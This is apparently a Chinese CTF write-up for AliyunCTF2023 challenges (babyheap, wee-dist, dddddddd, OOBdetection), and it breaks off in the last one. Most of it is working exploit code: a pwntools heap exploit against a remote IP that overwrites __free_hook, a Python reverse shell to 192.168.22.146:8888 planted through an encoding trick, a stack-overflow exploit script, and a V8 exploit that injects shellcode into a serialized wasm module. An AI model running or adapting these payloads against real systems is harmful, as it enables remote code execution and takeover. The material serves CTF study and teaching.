0%

AliyunCTF2023

babyheap

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.\n
1
2
3
4
5
6
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e6f75306cf2d7daa795a02761ead04102edfcc4c, with debug_info, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,Full RELRO,NX,PIE

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void __cdecl babyheap::backdoor::haad830f8bf071aae(babyheap::HouseTbl *tbl, i32 i)
{
bool key; // of
core::option::Option<alloc::vec::Vec<u8,alloc::alloc::Global>> *v3; // rsi
usize capacity; // [rsp+8h] [rbp-70h]
usize length; // [rsp+10h] [rbp-68h]
u8 *ptr; // [rsp+20h] [rbp-58h]
alloc::vec::Vec<u8,alloc::alloc::Global> *self; // [rsp+40h] [rbp-38h]
alloc::vec::Vec<u8,alloc::alloc::Global> v9; // [rsp+48h] [rbp-30h] BYREF
babyheap::HouseTbl *v10; // [rsp+60h] [rbp-18h]
i32 v11; // [rsp+68h] [rbp-10h]
int v12; // [rsp+6Ch] [rbp-Ch]
alloc::vec::Vec<u8,alloc::alloc::Global> *v13; // [rsp+70h] [rbp-8h]

v10 = tbl;
v11 = i;
key = __OFSUB__(i, 0x74737572);
v3 = (core::option::Option<alloc::vec::Vec<u8,alloc::alloc::Global>> *)(unsigned int)(i - 0x74737572);
if ( key )
core::panicking::panic::hb3ad04c589a0e3c8();
v12 = (int)v3;
if ( (int)v3 < 8 && (int)v3 >= 0 )
{
if ( (unsigned __int64)(int)v3 >= 8 )
core::panicking::panic_bounds_check::ha6e6615eae13afdc();
self = (alloc::vec::Vec<u8,alloc::alloc::Global> *)core::option::Option$LT$T$GT$::as_mut::h7bc15bfd4aec8821(
(core::option::Option<&mut alloc::vec::Vec<u8,alloc::alloc::Global>> *)&tbl->houses[(int)v3],
v3);
if ( self != 0LL )
{
v13 = self;
ptr = alloc::vec::Vec$LT$T$C$A$GT$::as_mut_ptr::h6230617f5474b5b1(self);
length = alloc::vec::Vec$LT$T$C$A$GT$::len::hf80d8d28218f516c(self);
capacity = alloc::vec::Vec$LT$T$C$A$GT$::capacity::h51f4c787fa581d7e(self);
alloc::vec::Vec$LT$T$GT$::from_raw_parts::h5bb5da32e80dec87(&v9, ptr, length, capacity);
core::ptr::drop_in_place$LT$alloc..vec..Vec$LT$u8$GT$$GT$::h89bc5857a045297f(&v9);
}
}
}
  • 在 “删除模块” 中有一个后门函数,要求 i==0x74737572 时触发后门

入侵思路

执行 dele(0x74737572) 有堆溢出,利用这个溢出可以完成泄露,并写 tcache->fd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './babyheap'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 0
if local:
p = process(challenge)#nc 47.98.229.103 1337
else:
p = remote('47.98.229.103','1337')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0xD1E1)\n")
#pause()

def cmd(op):
p.sendlineafter(">>> ",str(op))

def add(size,data): # 0x1ff
cmd(1)
p.sendlineafter("now the size: ",str(size))
p.sendlineafter("next the content: ",data)

def show(index):
cmd(2)
p.sendlineafter("house index: ",str(index))

def edit(index,data):
cmd(3)
p.sendlineafter("house index: ",str(index))
p.sendlineafter(": ",data)

def dele(index):
cmd(4)
p.sendlineafter("house index: ",str(index))

#debug()

for i in range(8):
add(0x1ff,"\x00"*0x1ff)

for i in range(7):
dele(i+1)

dele(0x74737572)
add(0xff,"a"*0xff)
show(0)

p.recvuntil("a\x00")
p.recv(16)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x3ebca0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system_libc = libc_base + libc.sym["system"]
malloc_hook = libc_base + libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]

"""
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""

add(0x40,"\x00"*0x40)
add(0x40,"\x00"*0x40)
dele(3)
dele(2)

one_gadgets = [0x4f2a5,0x4f302,0x10a2fc]
one_gadget = one_gadgets[1] + libc_base
success("one_gadget >> "+hex(one_gadget))

payload = "/bin/sh\x00"*(0x100/8)+ p64(0) +p64(0x51) + p64(free_hook) + "c"*0x40 + p64(0x51)
payload += 0x48 * "c" + p64(0x61)+p64(libc_base+0x3ebca0) + p64(libc_base+0x3ebca0)
edit(0,payload.ljust(0x1ff,"\x00"))

add(0x40,"\x00"*0x40)
#pause()
add(0x40,p64(system_libc).ljust(0x40,"\x00"))

dele(0)

p.interactive()

wee-dist

先截两张图,用来表示我的疑惑:

内核信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/bash

cd $(dirname "$0")

./qemu-system-arm \
-nographic \
-serial chardev:serial0 \
-serial /dev/null \
-monitor /dev/null \
-chardev stdio,signal=off,id=serial0 \
-smp 2 \
-machine virt,secure=on \
-cpu cortex-a15 \
-semihosting-config enable=on,target=native \
-m 1057 \
-bios bl1.bin \
-object rng-random,filename=/dev/urandom,id=rng0 \
-device virtio-rng-pci,rng=rng0,max-bytes=1024,period=1000 \
-netdev user,id=vmnic,hostfwd=tcp::8889-:8889 \
-device virtio-net-device,netdev=vmnic \
-no-reboot
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh
# devtmpfs does not get automounted for initramfs
/bin/mount -t devtmpfs devtmpfs /dev

# use the /dev/console device node from devtmpfs if possible to not
# confuse glibc's ttyname_r().
# This may fail (E.G. booted with console=), and errors from exec will
# terminate the shell, so use a subshell for the test
if (exec 0</dev/console) 2>/dev/null; then
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
fi

/etc/init.d/rcS
cd /root
python3 app.py
poweroff -d 0 -f

比赛时被同名的 misc 题目给误导了,以为要打内核:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
diff --git a/core/include/tee/tee_svc.h b/core/include/tee/tee_svc.h
index 27a04c05..09ad4cba 100644
--- a/core/include/tee/tee_svc.h
+++ b/core/include/tee/tee_svc.h
@@ -74,4 +74,6 @@ TEE_Result syscall_wait(unsigned long timeout);
TEE_Result syscall_get_time(unsigned long cat, TEE_Time *time);
TEE_Result syscall_set_ta_time(const TEE_Time *time);

+TEE_Result syscall_get_flag(char* buffer, size_t size);
+
#endif /* TEE_SVC_H */
diff --git a/core/kernel/scall.c b/core/kernel/scall.c
index 454cabcc..f83248e3 100644
--- a/core/kernel/scall.c
+++ b/core/kernel/scall.c
@@ -119,6 +119,7 @@ static const struct syscall_entry tee_syscall_table[] = {
SYSCALL_ENTRY(syscall_not_supported),
SYSCALL_ENTRY(syscall_not_supported),
SYSCALL_ENTRY(syscall_cache_operation),
+ SYSCALL_ENTRY(syscall_get_flag),
};

实际上本题主要涉及到几个 python encoding 的问题

漏洞分析

1
2
3
4
5
6
7
8
for line in lines[1:]:
headers[line.decode().split(': ')[0]] = line.decode().split(': ')[1]
if match := re.match(r'^Content-Length: (\d+)$', line.decode()):
cl = match[1]
elif match := re.match(r'^X-Signature: (\w+)$', line.decode()):
sig = match[1]
elif match := re.match(r'^Content-Type: (\w+\/\w+)$', line.decode()):
ct = match[1]
  • python re 模块的 \d 通配符以及 int 函数会接受所有 unicode 数字作为输入

secure_sig 中含有后门:

1
2
3
4
5
6
7
8
9
10
.text:00000D34 6D E9 02 7E                   STRD.W          R7, LR, [SP,#-8]!
.text:00000D38 00 AF ADD R7, SP, #0
.text:00000D3A 04 4B LDR R3, =(aChmodXTmpRceTm - 0xD40) ; "chmod +x /tmp/rce; /tmp/rce"
.text:00000D3C 7B 44 ADD R3, PC ; "chmod +x /tmp/rce; /tmp/rce"
.text:00000D3E 18 46 MOV R0, R3
.text:00000D40 FF F7 56 ED BLX system
.text:00000D40
.text:00000D44 00 BF NOP
.text:00000D46 BD 46 MOV SP, R7
.text:00000D48 80 BD POP {R7,PC}
1
2
3
4
int sub_D34()
{
return system("chmod +x /tmp/rce; /tmp/rce");
}
  • 可以执行 /tmp/rce

入侵思路

在二进制程序 secure_sig 中含有后门,可以执行 /tmp/rce

因此我们要先利用 handle_sign_message/tmp/rce 中写入攻击脚本(最好是反弹 shell),不过这里有一个细节需要注意:

1
2
3
4
5
6
7
with open(sig_file, "wb") as f:
f.write(message)
response = {}
response["message"] = message.decode()
if not self.sign_message(str(len(sig_file)).encode(), sig_file.encode()):
response["signature"] = "sign failed"
return 500, "application/json", json.dumps(response)
  • 程序会调用 sign_message
1
2
3
4
5
6
7
8
9
TEE_SECURE_SIG = "/usr/bin/secure_sig"

def sign_message(self, cl, target_file_name):
# run the signature generator and get the return code (0 for success), the signature is written to target_file_name
message = b"i:0;s:" + cl + b":\"" + target_file_name + b"\";"
p = subprocess.Popen([TEE_SECURE_SIG], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
p.stdin.write(message)
out, err = p.communicate()
return p.returncode == 0
  • subprocess.Popen 会打开并执行二进制程序 secure_sig,在其中会对写入的数据进行加密

函数 decode 默认使用 UTF-8 编码,如果字符串中包含大于 0x7f 的字符且不符合 UTF-8 的格式,会报错,从而不执行二进制程序 secure_sig 里面的文件覆盖操作

写入任意文件的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
s = '''python3 -c 'import socket,subprocess,os;
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.22.146",8888));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
'''
mess = "#!/bin/sh\n"+s+"#ÿaaaaaaaaaa" # 使用非UTF-8格式的字符,从而使decode报错
headers={
"Host": "127.0.0.1",
"Authorization":base64.b64encode(b"rce"),
"X-Forwarded-For": "127.0.0.1"
}
url=b'http://127.0.0.1:8889/sign_message?message='+base64.b64encode(mess.encode("latin")) # 使用latin编码以获取大于0x7f的字符
response = requests.get(url=url,headers=headers)
print(response.content)
  • 该文件会获取一个反弹 shell
  • 另外还需要注意一个细节,python encode 使用的默认编码方式是 UTF-8,如果遇到不合法的 UTF-8 字符,就会将其强行拆解为两个合法的字符:
1
2
print(mess.encode("latin"))
b'#!/bin/sh\npython3 -c \'import socket,subprocess,os;\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM);\ns.connect(("192.168.22.146",8888));\nos.dup2(s.fileno(),0);\nos.dup2(s.fileno(),1); \nos.dup2(s.fileno(),2);\np=subprocess.call(["/bin/sh","-i"]);\'\n#\xffaaaaaaaaaa'
1
2
print(mess.encode())
b'#!/bin/sh\npython3 -c \'import socket,subprocess,os;\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM);\ns.connect(("192.168.22.146",8888));\nos.dup2(s.fileno(),0);\nos.dup2(s.fileno(),1); \nos.dup2(s.fileno(),2);\np=subprocess.call(["/bin/sh","-i"]);\'\n#\xc3\xbfaaaaaaaaaa'
  • 因此我们需要使用范围更大的 latin 编码

接下来就要在 secure_sig 中找寻漏洞,并执行后门函数,先看看传入的参数是什么:

1
2
3
4
5
6
7
8
def check_signature(self, cl, body, sig):
# serialize the message (PHP style :) )
message = b"i:1;s:" + cl + b":\"" + body + b"\";s:64:\"" + sig + b"\";"
# run the signature checker and get the return code (0 for success)
p = subprocess.Popen([TEE_SECURE_SIG], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
p.stdin.write(message)
out, err = p.communicate()
return p.returncode == 0

根据 check_signature 函数,我们可以写出类似的脚本进行调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# -*- coding:utf-8 -*-
from pwn import *

arch = 32
challenge = './secure_sig1'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='aarch64'
if arch==32:
context.arch='arch32'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process("qemu-arm -L /usr/arm-linux-gnueabihf -g 1234 ./secure_sig1", shell = True)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x269F)\n")
#pause()

def cmd(op):
p.sendline(str(op))

def check_signature(cl, body, sig):
message = b"i:1;s:" + cl + b":\"" + body + b"\";s:64:\"" + sig + b"\";"
return message

cl =
body =
sig =
payload = check_signature(cl,body,sig)

p.sendline(payload)

p.interactive()
  • PS:其实调试出了一些问题,报了以下的错误(猜测是 TEEC 的原因,目前不知道怎么解决)
1
secure_sig1: TEEC_InitializeContext(NULL, x): 0xffff0008

由于没法调试,因此最后的栈溢出过程没法复现了,完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin python3
# -*- coding: utf-8 -*-
from pwn import *
import requests
import base64
context.log_level = 'debug'

target_host = "127.0.0.1"
target_port = 8889

def prepare_evil_file():
s = '''python3 -c 'import socket,subprocess,os;
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.22.146",8888));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
'''
mess = "#!/bin/sh\n"+s+"#ÿaaaaaaaaaa" # 使用非UTF-8格式的字符,从而使decode报错
headers={
"Host": "127.0.0.1",
"Authorization":base64.b64encode(b"rce"),
"X-Forwarded-For": "127.0.0.1"
}
url=b'http://127.0.0.1:8889/sign_message?message='+base64.b64encode(mess.encode("latin"))
response = requests.get(url=url,headers=headers)
print(response.content)

def exploit():
body = cyclic(550)
sig ='733a343239343936363732303a58c0fdffff2b350d22000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
headers={
"X-Signature": sig,
"Content-Type": "application/json",
}
url="http://127.0.0.1:8889/sign_message"
response = requests.post(url=url,headers=headers,data=body)
print(base64.b64decode(sig))
print(response.content)

prepare_evil_file()
exploit()

dddddddd

V8 的 misc 题目

预期解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
From a5d68c2f29d0f688e3a5145c35111c4e491e4e37 Mon Sep 17 00:00:00 2001
From: Future CTF Organizer <devnull@pwnable.ai>
Date: Sat, 11 Feb 2023 05:12:42 +0800
Subject: [PATCH 2/2] Revert "[wasm] Remove serialization of WasmModuleObject"

This reverts commit 30e4ba6df4cdf5582de4d79850bcd270e6a75a7a.
---
src/objects/value-serializer.cc | 105 +++++++++++++++---
src/objects/value-serializer.h | 1 +
.../objects/value-serializer-unittest.cc | 23 ++++
3 files changed, 115 insertions(+), 14 deletions(-)

diff --git a/src/objects/value-serializer.cc b/src/objects/value-serializer.cc
index 2efca82aaaa..44e3fca5b5b 100644
--- a/src/objects/value-serializer.cc
+++ b/src/objects/value-serializer.cc
@@ -41,7 +41,10 @@
#include "src/snapshot/code-serializer.h"

#if V8_ENABLE_WEBASSEMBLY
+#include "src/wasm/wasm-engine.h"
#include "src/wasm/wasm-objects-inl.h"
+#include "src/wasm/wasm-result.h"
+#include "src/wasm/wasm-serialization.h"
#endif // V8_ENABLE_WEBASSEMBLY

namespace v8 {
@@ -174,6 +177,11 @@ enum class SerializationTag : uint8_t {
kSharedArrayBuffer = 'u',
// A HeapObject shared across Isolates. sharedValueID:uint32_t
kSharedObject = 'p',
+ // Compiled WebAssembly module. encodingType:(one-byte tag).
+ // If encodingType == 'y' (raw bytes):
+ // wasmWireByteLength:uint32_t, then raw data
+ // compiledDataLength:uint32_t, then raw data
+ kWasmModule = 'W',
// A wasm module object transfer. next value is its index.
kWasmModuleTransfer = 'w',
// The delegate is responsible for processing all following data.
@@ -235,6 +243,10 @@ enum class ArrayBufferViewTag : uint8_t {
kDataView = '?',
};

+enum class WasmEncodingTag : uint8_t {
+ kRawBytes = 'y',
+};
+
// Sub-tags only meaningful for error serialization.
enum class ErrorTag : uint8_t {
// The error is a EvalError. No accompanying data.
@@ -1094,21 +1106,41 @@ Maybe<bool> ValueSerializer::WriteJSSharedArray(

#if V8_ENABLE_WEBASSEMBLY
Maybe<bool> ValueSerializer::WriteWasmModule(Handle<WasmModuleObject> object) {
- if (delegate_ == nullptr) {
- return ThrowDataCloneError(MessageTemplate::kDataCloneError, object);
+ if (delegate_ != nullptr) {
+ // TODO(titzer): introduce a Utils::ToLocal for WasmModuleObject.
+ Maybe<uint32_t> transfer_id = delegate_->GetWasmModuleTransferId(
+ reinterpret_cast<v8::Isolate*>(isolate_),
+ v8::Local<v8::WasmModuleObject>::Cast(
+ Utils::ToLocal(Handle<JSObject>::cast(object))));
+ RETURN_VALUE_IF_SCHEDULED_EXCEPTION(isolate_, Nothing<bool>());
+ uint32_t id = 0;
+ if (transfer_id.To(&id)) {
+ WriteTag(SerializationTag::kWasmModuleTransfer);
+ WriteVarint<uint32_t>(id);
+ return Just(true);
+ }
}
-
- // TODO(titzer): introduce a Utils::ToLocal for WasmModuleObject.
- Maybe<uint32_t> transfer_id = delegate_->GetWasmModuleTransferId(
- reinterpret_cast<v8::Isolate*>(isolate_),
- v8::Local<v8::WasmModuleObject>::Cast(
- Utils::ToLocal(Handle<JSObject>::cast(object))));
- RETURN_VALUE_IF_SCHEDULED_EXCEPTION(isolate_, Nothing<bool>());
- uint32_t id = 0;
- if (transfer_id.To(&id)) {
- WriteTag(SerializationTag::kWasmModuleTransfer);
- WriteVarint<uint32_t>(id);
- return Just(true);
+ WasmEncodingTag encoding_tag = WasmEncodingTag::kRawBytes;
+ WriteTag(SerializationTag::kWasmModule);
+ WriteRawBytes(&encoding_tag, sizeof(encoding_tag));
+
+ wasm::NativeModule* native_module = object->native_module();
+ base::Vector<const uint8_t> wire_bytes = native_module->wire_bytes();
+ WriteVarint<uint32_t>(static_cast<uint32_t>(wire_bytes.size()));
+ uint8_t* destination;
+ if (ReserveRawBytes(wire_bytes.size()).To(&destination)) {
+ memcpy(destination, wire_bytes.begin(), wire_bytes.size());
+ }
+
+ wasm::WasmSerializer wasm_serializer(native_module);
+ size_t module_size = wasm_serializer.GetSerializedNativeModuleSize();
+ CHECK_GE(std::numeric_limits<uint32_t>::max(), module_size);
+ WriteVarint<uint32_t>(static_cast<uint32_t>(module_size));
+ uint8_t* module_buffer;
+ if (ReserveRawBytes(module_size).To(&module_buffer)) {
+ if (!wasm_serializer.SerializeNativeModule({module_buffer, module_size})) {
+ return Nothing<bool>();
+ }
}
return ThrowIfOutOfMemory();
}
@@ -1621,6 +1653,8 @@ MaybeHandle<Object> ValueDeserializer::ReadObjectInternal() {
case SerializationTag::kError:
return ReadJSError();
#if V8_ENABLE_WEBASSEMBLY
+ case SerializationTag::kWasmModule:
+ return ReadWasmModule();
case SerializationTag::kWasmModuleTransfer:
return ReadWasmModuleTransfer();
case SerializationTag::kWasmMemoryTransfer:
@@ -2323,6 +2357,49 @@ MaybeHandle<JSObject> ValueDeserializer::ReadWasmModuleTransfer() {
return module;
}

+MaybeHandle<JSObject> ValueDeserializer::ReadWasmModule() {
+ base::Vector<const uint8_t> encoding_tag;
+ if (!ReadRawBytes(sizeof(WasmEncodingTag)).To(&encoding_tag) ||
+ encoding_tag[0] != static_cast<uint8_t>(WasmEncodingTag::kRawBytes)) {
+ return MaybeHandle<JSObject>();
+ }
+
+ // Extract the data from the buffer: wasm wire bytes, followed by V8 compiled
+ // script data.
+ static_assert(sizeof(int) <= sizeof(uint32_t),
+ "max int must fit in uint32_t");
+ const uint32_t max_valid_size = std::numeric_limits<int>::max();
+ uint32_t wire_bytes_length = 0;
+ base::Vector<const uint8_t> wire_bytes;
+ uint32_t compiled_bytes_length = 0;
+ base::Vector<const uint8_t> compiled_bytes;
+ if (!ReadVarint<uint32_t>().To(&wire_bytes_length) ||
+ wire_bytes_length > max_valid_size ||
+ !ReadRawBytes(wire_bytes_length).To(&wire_bytes) ||
+ !ReadVarint<uint32_t>().To(&compiled_bytes_length) ||
+ compiled_bytes_length > max_valid_size ||
+ !ReadRawBytes(compiled_bytes_length).To(&compiled_bytes)) {
+ return MaybeHandle<JSObject>();
+ }
+
+ // Try to deserialize the compiled module first.
+ MaybeHandle<WasmModuleObject> result =
+ wasm::DeserializeNativeModule(isolate_, compiled_bytes, wire_bytes, {});
+ if (result.is_null()) {
+ wasm::ErrorThrower thrower(isolate_, "ValueDeserializer::ReadWasmModule");
+ // TODO(titzer): are the current features appropriate for deserializing?
+ auto enabled_features = wasm::WasmFeatures::FromIsolate(isolate_);
+ result = wasm::GetWasmEngine()->SyncCompile(
+ isolate_, enabled_features, &thrower,
+ wasm::ModuleWireBytes(wire_bytes));
+ }
+ uint32_t id = next_id_++;
+ if (!result.is_null()) {
+ AddObjectWithID(id, result.ToHandleChecked());
+ }
+ return result;
+}
+
MaybeHandle<WasmMemoryObject> ValueDeserializer::ReadWasmMemory() {
uint32_t id = next_id_++;

diff --git a/src/objects/value-serializer.h b/src/objects/value-serializer.h
index f5ccdcbf0a5..b72b72c7a51 100644
--- a/src/objects/value-serializer.h
+++ b/src/objects/value-serializer.h
@@ -307,6 +307,7 @@ class ValueDeserializer {
bool& is_backed_by_rab) V8_WARN_UNUSED_RESULT;
MaybeHandle<Object> ReadJSError() V8_WARN_UNUSED_RESULT;
#if V8_ENABLE_WEBASSEMBLY
+ MaybeHandle<JSObject> ReadWasmModule() V8_WARN_UNUSED_RESULT;
MaybeHandle<JSObject> ReadWasmModuleTransfer() V8_WARN_UNUSED_RESULT;
MaybeHandle<WasmMemoryObject> ReadWasmMemory() V8_WARN_UNUSED_RESULT;
#endif // V8_ENABLE_WEBASSEMBLY
diff --git a/test/unittests/objects/value-serializer-unittest.cc b/test/unittests/objects/value-serializer-unittest.cc
index 9335bd114df..9388ef24040 100644
--- a/test/unittests/objects/value-serializer-unittest.cc
+++ b/test/unittests/objects/value-serializer-unittest.cc
@@ -3363,6 +3363,15 @@ TEST_F(ValueSerializerTestWithWasm, RoundtripWasmTransfer) {
ExpectPass();
}

+TEST_F(ValueSerializerTestWithWasm, RountripWasmInline) {
+ SetExpectInlineWasm(true);
+ ExpectPass();
+}
+
+TEST_F(ValueSerializerTestWithWasm, CannotDeserializeWasmInlineData) {
+ ExpectFail();
+}
+
TEST_F(ValueSerializerTestWithWasm, CannotTransferWasmWhenExpectingInline) {
EnableTransferSerialization();
ExpectFail();
@@ -3376,6 +3385,13 @@ TEST_F(ValueSerializerTestWithWasm, ComplexObjectDuplicateTransfer) {
ExpectScriptTrue("result.mod1 === result.mod2");
}

+TEST_F(ValueSerializerTestWithWasm, ComplexObjectDuplicateInline) {
+ SetExpectInlineWasm(true);
+ Local<Value> value = RoundTripTest(GetComplexObjectWithDuplicate());
+ VerifyComplexObject(value);
+ ExpectScriptTrue("result.mod1 === result.mod2");
+}
+
TEST_F(ValueSerializerTestWithWasm, ComplexObjectWithManyTransfer) {
EnableTransferSerialization();
EnableTransferDeserialization();
@@ -3385,6 +3401,13 @@ TEST_F(ValueSerializerTestWithWasm, ComplexObjectWithManyTransfer) {
}
#endif // V8_ENABLE_WEBASSEMBLY

+TEST_F(ValueSerializerTestWithWasm, ComplexObjectWithManyInline) {
+ SetExpectInlineWasm(true);
+ Local<Value> value = RoundTripTest(GetComplexObjectWithMany());
+ VerifyComplexObject(value);
+ ExpectScriptTrue("result.mod1 != result.mod2");
+}
+
class ValueSerializerTestWithLimitedMemory : public ValueSerializerTest {
protected:
// GMock doesn't use the "override" keyword.
--
2.39.2
  • D8 Shell 里的 d8.serializer 没有删掉
  • 补丁带回了以前 V8 里 ValueSerializer 反序列化 WasmModule 的功能

Wasm(WebAssembly) 是一种底层的汇编语言,能够在所有当代桌面浏览器及很多移动浏览器中以接近本地的速度运行

官方 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const shellCode = new Uint8Array([0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x67, 0x6d, 0x60, 0x66, 0x1, 0x1, 0x1, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0xf, 0x5, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x1, 0x5f, 0x99, 0xf, 0x5]);
const wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,134,128,128,128,0,1,96,1,124,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,148,128,128,128,0,2,6,109,101,109,111,114,121,2,0,7,116,104,101,102,117,110,99,0,0,10,225,128,128,128,0,1,219,128,128,128,0,2,2,124,2,127,65,1,33,4,2,64,32,0,68,0,0,0,0,0,0,0,0,101,32,0,32,0,98,114,13,0,32,0,68,0,0,0,0,0,0,0,192,160,33,1,65,1,33,3,65,1,33,4,3,64,32,3,183,33,2,32,4,183,32,0,162,32,1,163,170,33,4,32,3,65,1,106,33,3,32,2,32,0,99,13,0,11,11,32,4,11]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule);
const main = wasmInstance.exports.thefunc;
for (let i = 0; i < 64646; i++)
main(123);
let sb = d8.serializer.serialize(wasmModule);
let s = new Uint8Array(sb);
for (let i = 0; i < s.length; i++) {
if (s[i] == 0x55 && s[i+1] == 0x48 && s[i+2] == 0x89 && s[i+3] == 0xE5) {
for (let j = 0; j < shellCode.length; j++) {
s[i+j] = shellCode[j];
}
break;
}
}
let data = [];
for (let i = 0; i < s.length; i++) {
data.push(s[i]);
}
write(`new WebAssembly.Instance(d8.serializer.deserialize(new Uint8Array([${data}]).buffer)).exports.thefunc();`);

非预期解

本程序 ban 了 read,load 但还有一个 import 可以使用,所以直接:

1
import("./flag")

OOBdetection

本题目的意思就是提供一些代码,需要快速识别该代码中是否有漏洞,并说明漏洞类型

核心思路就是利用 clang 现成的检查机制来进行判断,因此需要把程序输出的代码写入 1.c 文件中,然后执行 clang:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
